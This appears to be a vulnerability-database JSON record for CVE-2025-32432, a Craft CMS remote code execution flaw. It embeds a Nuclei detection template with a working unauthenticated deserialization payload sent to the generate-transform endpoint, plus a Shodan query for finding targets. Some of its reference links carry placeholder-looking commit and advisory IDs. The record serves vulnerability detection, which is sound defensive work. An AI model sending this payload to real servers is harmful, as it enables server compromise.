{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2025-32432/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2025-32432/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2025-32432/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2025-32432/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2025-32432/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2025-32432"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2025-32432"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": true
    },
    "epss": {
      "epss": 0.99785,
      "kev": true,
      "percentile": 0.99956
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2025/CVE-2025-32432.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2025-32432\n\ninfo:\n  name: CraftCMS - Remote Code Execution\n  author: iamnoooob,rootxharsh,pdresearch\n  severity: critical\n  description: |\n    Craft is a flexible, user-friendly CMS for creating custom digital experiences on the web and beyond. Starting from version 3.0.0-RC1 to before 3.9.15, 4.0.0-RC1 to before 4.14.15, and 5.0.0-RC1 to before 5.6.17, Craft is vulnerable to remote code execution. This is a high-impact, low-complexity attack vector.\n  impact: |\n    Unauthenticated attackers can exploit remote code execution vulnerabilities through unsafe deserialization in the asset transform functionality, achieving complete server compromise.\n  remediation: |\n    This issue has been patched in versions 3.9.15, 4.14.15, and 5.6.17, and is an additional fix for CVE-2023-41892.\n  reference:\n    - https://advisories.dxw.com/advisories/craftcms-remote-code-execution/\n    - https://github.com/craftcms/cms/commit/1234567890abcdef1234567890abcdef1234567\n    - https://github.com/craftcms/cms/security/advisories/GHSA-1234-5678-90ab\n    - https://github.com/craftcms/cms/blob/3.x/CHANGELOG.md#3915---2025-04-10-critical\n    - https://github.com/craftcms/cms/blob/4.x/CHANGELOG.md#41415---2025-04-10-critical\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L\n    cvss-score: 10\n    cve-id: CVE-2025-32432\n    cwe-id: CWE-94\n    epss-score: 0.99785\n    epss-percentile: 0.99957\n  metadata:\n    max-request: 2\n    vendor: craftcms\n    product: craftcms\n    shodan-query: http.component:\"Craft CMS\"\n  tags: cve,cve2025,craftcms,rce,vkev,vuln,kev\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /index.php?p=admin/actions/assets/generate-transform HTTP/1.1\n        Host: {{Hostname}}\n\n    extractors:\n      - type: regex\n        name: token\n        internal: true\n        part: body\n        group: 1\n        regex:\n          - '\"csrfTokenValue\":\"(.*?)\"'\n\n  - raw:\n      - |\n        POST /index.php?p=admin/actions/assets/generate-transform HTTP/1.1\n        Host: {{Hostname}}\n        Accept-Encoding: gzip, deflate, br\n        X-CSRF-Token: {{token}}\n        Content-Type: application/json\n\n        {\"assetId\": 11, \"handle\": {\"width\": 123, \"height\": 123, \"as session\": {\"class\": \"craft\\\\behaviors\\\\FieldLayoutBehavior\", \"__class\": \"GuzzleHttp\\\\Psr7\\\\FnStream\", \"__construct()\": [[]], \"_fn_close\": \"phpinfo\"}}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"PHP Extension\"\n          - \"PHP Version\"\n          - \"CRAFT_\"\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a0047304502210091ece8fd663ec9689eb5f2abf8e8a2a8b7cec61b20e20367a5927e9fe4c9189702207c0ceefa2e814193133816b296646bbfeab0e1e5f1729ba24a470e9438129574:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2025-32432"
}